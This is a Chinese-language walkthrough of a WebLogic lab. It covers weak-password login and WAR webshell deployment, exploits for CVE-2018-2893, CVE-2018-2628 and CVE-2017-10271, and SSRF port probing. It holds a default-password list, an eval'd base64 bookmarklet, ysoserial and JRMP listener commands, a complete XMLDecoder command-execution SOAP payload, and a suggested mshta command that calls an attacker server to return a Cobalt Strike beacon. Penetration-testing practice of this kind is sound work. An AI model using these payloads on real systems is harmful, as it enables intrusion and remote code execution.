1. 程式人生 > >WebLogic遠程命令執行

WebLogic遠程命令執行

17. localhost 1.8 coord 14. lcs 簡單 pow 一個地方

靶機說明

目標ip:172.16.53.28(window 2003)

本靶機所針對的序列化漏洞系列以及常見安全問題如下:

  1. 弱口令登陸控制臺部署war包webshell
  2. CVE-2018-2893
  3. CVE-2018-2628
  4. CVE-2017-10271
  5. CVE-2017-3248
  6. CVE-2016-3510
  7. CVE-2015-4852
  8. weblogic ssrf

遠程登陸靶機開啟weblogic服務,以及方便後續觀察遠程命令執行的效果

  • 靶機登陸賬號/密碼:Administrator/secquan.org
  • weblogic賬號/密碼:weblogic/admin123
  • 啟動weblogic服務:點擊桌面“startWebLogic.cmd”文件啟動

信息探測

1. nmap探測目標服務器端口以及服務等相關信息

1.1 在命令行終端下執行以下命令

namp -T4 -A 172.16.53.28

1.2 執行結果所獲得的信息如下

技術分享圖片

通過nmap的探測結果,我們可以得知目標的7001端口開放了weblogic的相關服務,並且得知了weblogic的版本信息,以及其它系統相關信息和其它端口服務相關的信息。

得知了weblogic的版本等相關信息後,可以利用互聯網檢索是否該版本存在響應的漏洞,以尋求利用的可能

弱口令登陸控制臺部署war包webshell

1. 登陸界面手工輸入常用弱口令嘗試登陸

1.1 由於weblogic的登陸入口有賬戶鎖定的機制,所以無法采用爆破的方式,以下截圖就是使用burpsuite爆破過後,導致輸入正確的賬號密碼都被鎖定

技術分享圖片

服務器終端也打印出賬戶被鎖定30分鐘的信息,如下:

技術分享圖片

1.2 手動輸入常用的weblogic的肉口令進行登陸嘗試

#常用弱口令如下,可根據實際情況進行添加或者組合:
administrator:password
weblogic:password
weblogic:weblogic
weblogic:weblogic1
weblogic:welcome1
weblogic:admin123
weblogic:Oracle@123
system:weblogic
system:password
system:security
system:system
portaladmin:portaladmin
wlcsystem:wlcsystem
wlpisystem:wlpisystem
admin:security
joe:password
guest:guest

2.登陸成功後,開始部署war包webshell

2.1 進入到weblogic的控制臺首頁,點擊“鎖定並編輯”,再點擊“部署”

技術分享圖片


2.2 選擇“安裝“,如下截圖

技術分享圖片


2.3 點擊頁面超鏈接”上載文件“,然後選中提前準備好的war包webshell,選擇第一項‘將部署上載到管理服務器’,最後點擊下一步

技術分享圖片

選中提前準備好的war包webshell(下載地址:https://github.com/SecurityRiskAdvisors/cmd.jsp),然後點擊下一步

技術分享圖片

看到以下提示,說明上傳成功,顯示了我們上傳的文件的所在位置,接著繼續點擊下一步

技術分享圖片

2.4 選擇“將此部署安裝為應用程序”,點擊“下一步”

技術分享圖片

2.5 接下來可以給該部署命名,默認即可

技術分享圖片

2.6 點擊“完成”之後,看到“設置更新成功”,說明前面的操作正確

技術分享圖片

技術分享圖片

2.7 再次回到‘部署‘選項中,選中剛剛部署的 cmd 應用程序,點擊‘啟動‘服務(註意,此處一定要來自己手工啟動服務,不然 shell 是部署不上的 )

技術分享圖片

選擇“是”

技術分享圖片

2.8 看到如下圖所標記的內容,就說明webshell部署成功

技術分享圖片

2.9 啟動部署成功之後,通過用瀏覽器訪問 http://172.16.53.28:7001/cmd/cmd.jsp 就可以看到我們的 shell 了

備註 : 如果使用文章中提到的cmd.war來部署這個webshell,當訪問該cmd.jsp文件的時候,會看到的是一個沒有任何回顯的空白頁面,需要將一段js代碼保存為瀏覽器的書簽,當直接訪問 http://172.16.53.28:7001/cmd/cmd.jsp的時候,再在當前頁面點擊js書簽,才能看到頁面的輸出,如下圖

//需要保存為書簽的js代碼如下:
javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);

技術分享圖片

至此,通過弱口令登陸weblogic並部署war包webshell就到此結束

CVE-2018-2893 漏洞利用

漏洞簡介

WebLogic (CVE-2018-2893)漏洞和之前的JRMP協議漏洞(CVE-2018-2628)漏洞是分不開的,他是結合了RMI機制缺陷和JDK反序列化漏洞繞過了WebLogic黑名單,從而執行系統命令 。

受影響的系統版本

  • WebLogic10.3.6.0
  • WebLogic12.1.3.0
  • WebLogic12.2.1.2
  • WebLogic12.2.1.3

註:此漏洞暫時有一定利用限制,只在 jdk7u21 之前的版本實際利用成功過

相關利用工具下載地址

https://github.com/pyn3rd/CVE-2018-2893

漏洞利用過程

1.通過CVE-2018-2893的相關檢測腳本簡單驗證目標是否存在此漏洞

1.1 腳本下載地址

https://github.com/anbai-inc/CVE-2018-2893

1.2 執行結果,顯示存在CVE-2018-2893漏洞

技術分享圖片

2.生成 payload,功能是回連下載執行指定的系統命令(在大佬平臺的環境下,以下命令所用到的ip需要是一個公網ip,比如自己的VPS)

# 生成payload的命令如下,執行結果就是在當前目錄下生成一個shell.ser的文件:
java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "192.168.74.142:1099" > shell.ser

3.在攻擊機上執行以下命令,啟動服務端,等待目標weblogic下載執行指定的命令

# 監聽攻擊機的1099端口
java -cp ysoserial-cve-2018-2893.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

技術分享圖片

4.通過T3協議將之前制作好的payload發送給目標weblogic,執行payload(命令中的ip為目標ip)

python weblogic.py 192.168.74.143 7001 shell.cer

技術分享圖片

5.遠程命令執行效果如下

技術分享圖片

註:此次漏洞利用過程執行的是打開計算機的命令,在實際操作過程當中,可以利用cs服務器生成hta文件,然後通過將“calc.exe”命令換成“mshta.exe http://攻擊者服務器/options.hta” ,可以直接反彈beacon到cs服務器

CVE-2018-2628 漏洞利用

漏洞簡介

由於 weblogic 對於 T3 協議發送的數據包沒有過濾,註冊一個 RMI 接口,通過 T3 協議建立連接,加載回來再一步步解包,利用 readObject 解析,從而造成了反序列化遠程代碼執行

受影響的系統版本

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

相關利用工具下載地址

#漏洞檢測腳本:
https://github.com/aedoo/CVE-2018-2628-MultiThreading
#k8 Tools:
https://github.com/0xMJ/CVE-2018-2628/raw/master/k8weblogicGUI.exe
#shell執行腳本:
https://github.com/jas502n/CVE-2018-2628/blob/master/cve-2018-2628.py

https://github.com/brianwrf/ysoserial

漏洞利用過程

1.通過CVE-2018-2628的相關檢測腳本簡單驗證目標是否存在此漏洞

技術分享圖片

2.利用K8 Tools getshell

技術分享圖片

3.運行連接shell的python腳本(python2環境下運行),獲取執行命令的控制臺

Shell: http://192.168.74.143:7001/bea_wls_internal/wlscmd.jsp

技術分享圖片

CVE-2017-10271 漏洞利用

漏洞簡介

WebLogic WLS組件中存在CVE-2017-10271遠程代碼執行漏洞,可以構造請求對運行WebLogic中間件的主機進行攻擊,究其底層其實還是 XMLDecoder 的反序列化漏洞 。

受影響的系統版本

  • Weblogic 10.3.6.0.0
  • Weblogic 12.1.3.0.0
  • Weblogic 12.2.1.1.0
  • Weblogic 12.2.1.2.0

漏洞利用過程

1.驗證目標機器是否存在此漏洞,驗證方法如下:

瀏覽器訪問 poc url : /wls-wsat/CoordinatorPortType 看到類似下面的返回則說明目標機器可能存在此漏洞

http://192.168.74.143:7001/wls-wsat/CoordinatorPortType

技術分享圖片

2.使用burpsuite的repeater模塊像目標服務器發包,直接將payload復制到repeater的request位置

payload如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.74.143
Accept-Encoding: identity
Content-Length: 592
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

2.1 需要對payload做以下一些修改

技術分享圖片

2.2 點擊“Go”過後,目標服務器執行命令彈出計算機

技術分享圖片

weblogic ssrf 漏洞利用

漏洞簡介

SSRF漏洞,也稱為XSPA(跨站端口攻擊),問題存在於應用程序在加載用戶提供的URL時,沒能正確驗證服務器的響應,然後就反饋回了客戶端。攻擊者可以利用該漏洞繞過訪問限制(如防火墻),進而將受感染的服務器作為代理進行端口掃描,甚至訪問系統中的數據。

Oracle WebLogic web server即可以被外部主機訪問,同時也允許訪問內部主機。比如有一個jsp頁面SearchPublicReqistries.jsp,我們可以利用它進行攻擊,未經授權通過weblogic server連接任意主機的任意TCP 端口,可以能冗長的響應來推斷在此端口上是否有服務在監聽此端口。

漏洞利用過程

1.Weblogic ssrf url 如下:

#SSRF漏洞存在於:
http://192.168.74.143:7001/uddiexplorer/SearchPublicRegistries.jsp

技術分享圖片

2.向服務器通過get方式提交以下參數

http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search        

此時提交參數operator=http://localhost/robots.txt ,訪問的端口是80(不存在),訪問一個不存在的端口會返回以下信息:

技術分享圖片

3、將訪問的參數加上7001端口再訪問

http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost:7001/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search    

此時服務器訪問7001端口時返回一個404的狀態碼

技術分享圖片

還可能遇到的返回狀態有以下幾種:

技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片

3.內網端口探測

我們可以根據返回的不同狀態信息,來判斷內網的IP是否存在以及對應端口是否開放。這裏有一個地方需要註意的是,需要知道目標內網網段。如果盲目的去進行網段掃描會耗費大量的時間。

根據不同的返回狀態這個特性,利用python寫一個腳本去探測

更多的利用可參考:https://blog.chaitin.cn/gopher-attack-surfaces/,如得知內網存在如redis的機器,也可通過此ssrf進行攻擊

相關腳本下載地址:

https://github.com/anbai-inc/CVE-2018-2893

https://github.com/SecurityRiskAdvisors/cmd.jsp

https://github.com/0xMJ/CVE-2018-2628

https://github.com/brianwrf/ysoserial

https://github.com/Lighird/CVE-2018-2628

https://github.com/quentinhardy/scriptsAndExploits/tree/master/exploits/weblogic

https://github.com/jas502n/CVE-2018-2628

WebLogic遠程命令執行